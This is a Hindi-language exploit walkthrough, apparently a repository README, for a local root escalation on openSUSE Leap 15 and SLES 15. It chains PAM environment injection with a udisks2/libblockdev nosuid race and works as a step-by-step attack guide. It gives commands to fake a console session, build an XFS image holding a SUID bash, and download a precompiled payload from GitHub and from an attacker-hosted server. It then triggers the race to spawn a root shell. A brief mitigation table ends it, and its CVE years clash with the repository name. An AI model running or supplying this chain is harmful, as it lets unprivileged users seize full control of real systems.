
SUSE Linux पर स्थानीय विशेषाधिकार वृद्धि के लिए शोषण श्रृंखला, PAM पर्यावरण इंजेक्शन और udisks2 रेस कंडीशन को जोड़कर रूट शेल प्राप्त करना।
लक्षित OS: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
आवश्यक पहुंच: SSH पहुंच वाला गैर-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता
परिणाम: पूर्ण रूट शेल
यह दस्तावेज़ Qualys Threat Research Unit द्वारा खोजी गई दो श्रृंखलाबद्ध स्थानीय विशेषाधिकार वृद्धि कमजोरियों के मैनुअल शोषण का विवरण देता है:
~/.pam_environment के माध्यम से PAM पर्यावरण चर इंजेक्शन, जो एक दूरस्थ SSH उपयोगकर्ता को allow_active Polkit स्थिति प्राप्त करने की अनुमति देता है जो सामान्यतः भौतिक रूप से उपस्थित कंसोल उपयोगकर्ताओं के लिए आरक्षित होती है।libblockdev (जिसका उपयोग udisks2 करता है) Filesystem.Resize D-Bus ऑपरेशन के दौरान फाइलसिस्टम को अस्थायी रूप से माउंट करते समय nosuid फ्लैग लागू करने में विफल रहता है, जिससे उपयोगकर्ता-नियंत्रित लूप डिवाइस से SUID बाइनरी का निष्पादन संभव हो जाता है।एक साथ जोड़े जाने पर, ये कमजोरियां किसी भी गैर-विशेषाधिकार प्राप्त SSH उपयोगकर्ता को अन्य उपयोगकर्ताओं के किसी भी इंटरैक्शन के बिना रूट तक विशेषाधिकार बढ़ाने की अनुमति देती हैं।
हमलावर मशीन (Kali Linux):
xfsprogs स्थापित (sudo apt install xfsprogs -y)gcc उपलब्धpython3 -m http.server)लक्षित मशीन:
udisks2 और polkit स्थापित (इन प्रणालियों पर डिफ़ॉल्ट)gdbus उपलब्ध (glib2 का हिस्सा, डिफ़ॉल्ट रूप से स्थापित)गैर-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में SSH पहुंच प्राप्त करने के बाद, पुष्टि करें कि लक्ष्य कमजोर है।
OS जांचें:
cat /etc/os-release | grep -E "NAME|VERSION"
सिस्टम openSUSE Leap 15.x या SUSE Linux Enterprise 15.x होना चाहिए।
जांचें कि pam_env उपयोगकर्ता फ़ाइलें पढ़ता है:
grep "pam_env" /etc/pam.d/common-auth
user_readenv=1 या केवल pam_env.so की उपस्थिति देखें। डिफ़ॉल्ट SUSE इंस्टॉलेशन पर यह सक्षम है।
जांचें कि udisks2 और polkit चल रहे हैं:
systemctl is-active udisks2
systemctl is-active polkit
लूप डिवाइस सेटअप के लिए Polkit नीति जांचें:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
allow_active मान yes होना चाहिए।
allow_active प्राप्त करेंयह कमजोरी इस तथ्य का दुरुपयोग करती है कि pam_env.so SSH लॉगिन के दौरान ~/.pam_environment पढ़ता है और pam_systemd.so द्वारा सत्र संदर्भ का मूल्यांकन करने से पहले उन चरों को सत्र पर्यावरण में इंजेक्ट करता है। XDG_SEAT और XDG_VTNR सेट करके, हमलावर systemd-logind को दूरस्थ SSH सत्र को भौतिक कंसोल सत्र के रूप में मानने के लिए धोखा देता है, जिससे allow_active Polkit विशेषाधिकार प्राप्त होते हैं।
चर इंजेक्ट करें:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
PAM प्रोसेसिंग ट्रिगर करने के लिए लॉग आउट करें और SSH के माध्यम से पुनः कनेक्ट करें:
exit
ssh user@<target_ip>
सत्यापित करें कि allow_active अब प्रदान किया गया है:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
आउटपुट निम्न दिखाना चाहिए:
Active=yes
Seat=seat0
VTNr=1
यदि स्वचालित रूप से आबाद नहीं है तो सत्र ID और D-Bus पता सेट करें:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
XFS इमेज को SUSE 15 कर्नेल के साथ संगत सुविधाओं के साथ स्वरूपित किया जाना चाहिए। xfsprogs के आधुनिक संस्करण डिफ़ॉल्ट रूप से exchange, parent, bigtime, inobtcount, और nrext64 जैसी सुविधाओं को सक्षम करते हैं, जो पुराने SUSE कर्नेल द्वारा समर्थित नहीं हैं और माउंट विफलताओं का कारण बनेंगे। निम्नलिखित फ्लैग एक संगत V5 XFS इमेज उत्पन्न करते हैं:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
इमेज माउंट करें और SUID bash बाइनरी इंजेक्ट करें:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
आउटपुट -rwsr-xr-x 1 root root दिखाना चाहिए।
क्योंकि Filesystem.Resize के दौरान कमजोर माउंट विंडो केवल कुछ मिलीसेकंड चौड़ी होती है, इसे विश्वसनीय रूप से पकड़ने के लिए एक संकलित C बाइनरी की आवश्यकता होती है। एक शुद्ध Bash लूप बहुत धीमा है।
रिलीज़ पेज से पूर्व-संकलित पेलोड डाउनलोड करें:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] आप बाइनरी स्वयं भी संकलित कर सकते हैं। स्रोत कोड payload.c में उपलब्ध है।
दोनों फ़ाइलों को HTTP पर सर्व करें:
cd /tmp && python3 -m http.server 8888
# XFS इमेज स्थानांतरित करें
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# कैचर बाइनरी स्थानांतरित करें
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
इस चरण के लिए लक्ष्य पर दो समवर्ती SSH सत्रों की आवश्यकता होती है।
लूप डिवाइस सेट करें (किसी भी सत्र में):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
निर्दिष्ट लूप डिवाइस पर ध्यान दें, उदाहरण के लिए /dev/loop1।
सत्र 1: कैचर शुरू करें और इसे चालू रखें:
/tmp/payload
[!NOTE] यदि कैचर रूट शेल उत्पन्न किए बिना तुरंत बाहर निकलता है, तो लूप डिवाइस सेट करने से पहले इसे शुरू करने का प्रयास करें और अनुक्रम दोहराएं।
सत्र 2: तुरंत रिसाइज़ ट्रिगर करें:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
Resize कॉल एक त्रुटि लौटाएगा, लेकिन विफल होने से पहले, libblockdev फाइलसिस्टम को /tmp/blockdev.XXXXXX/ के अंतर्गत एक अस्थायी पथ पर nosuid फ्लैग के बिना माउंट करता है। सत्र 1 में कैचर इस माउंट का पता लगाता है, इसके अंदर से SUID bash बाइनरी निष्पादित करता है, एक रूट शेल को /tmp/rootbash में कॉपी करता है, और इसे स्पॉन करता है।
[!NOTE] यदि आपको
Not authorized to perform operationके साथ समस्या है, तो उस टर्मिनल का उपयोग करने का प्रयास करें जिसका उपयोग आपनेudiskctl loop-setup...कमांड को सफलतापूर्वक निष्पादित करने के लिए किया था और/tmp/payloadस्क्रिप्ट चलाने के लिए दूसरे शेल का उपयोग करें।
एक बार कैचर पूरा हो जाने पर, एक रूट शेल या तो स्वचालित रूप से स्पॉन होता है या निम्न के माध्यम से प्राप्त किया जा सकता है:
/tmp/rootbash -p
whoami
# root
| घटक | समाधान |
|---|
| CVE-2025-6018 | PAM में user_readenv अक्षम करें: /etc/pam.d/common-auth में user_readenv=0 सेट करें |
| CVE-2025-6019 | वितरण विक्रेता से पैच किए गए संस्करणों में libblockdev और udisks2 अपडेट करें |
| Polkit सख्तीकरण | UDisks2 नीति फ़ाइल में org.freedesktop.udisks2.loop-setup के लिए allow_active को auth_admin में बदलें |